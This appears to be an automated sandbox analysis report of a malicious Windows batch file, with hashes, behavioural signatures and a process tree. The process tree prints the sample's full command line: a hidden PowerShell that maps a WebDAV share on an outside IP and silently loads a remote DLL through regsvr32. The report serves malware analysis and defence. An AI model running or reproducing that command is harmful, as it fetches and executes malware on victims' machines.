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Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
23/07/2024, 03:27
Static task
static1
Behavioral task
behavioral1
Sample
1209140631077924736.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
1209140631077924736.bat
Resource
win10v2004-20240709-en
General
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Target
1209140631077924736.bat
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Size
18KB
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MD5
f23dde61b4953152a0e7b7dd18d9a7e8
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SHA1
85f34fc4fde85b43c59aaa0b3841aea605f8573b
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SHA256
ce8fa1b2db4640c2293cdd07d915ab60af865961c450a75a95eabca95187b8b8
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SHA512
be0de8e2db58a1e860ee99acd7a712dc598226544e6cf08a33bc7657afff88b4b5279b56681b27fe1d448114f0c34cec66d097875b8fa93dac75b577830835d3
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SSDEEP
384:lT8bJlUeKsvI+8R7vedXYPIDb/fA9Lq+zCYGjfd5soyBSa:EKsvZ8llIffA9LP/yfd5soyIa
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4064 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4064 powershell.exe 4064 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4064 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1748 wordpad.exe 1748 wordpad.exe 1748 wordpad.exe 1748 wordpad.exe 1748 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1388 wrote to memory of 1748 1388 cmd.exe 85 PID 1388 wrote to memory of 1748 1388 cmd.exe 85 PID 1388 wrote to memory of 4064 1388 cmd.exe 87 PID 1388 wrote to memory of 4064 1388 cmd.exe 87 PID 4064 wrote to memory of 4748 4064 powershell.exe 89 PID 4064 wrote to memory of 4748 4064 powershell.exe 89 PID 4064 wrote to memory of 3184 4064 powershell.exe 90 PID 4064 wrote to memory of 3184 4064 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1209140631077924736.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:4748
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll3⤵PID:3184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:4812
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82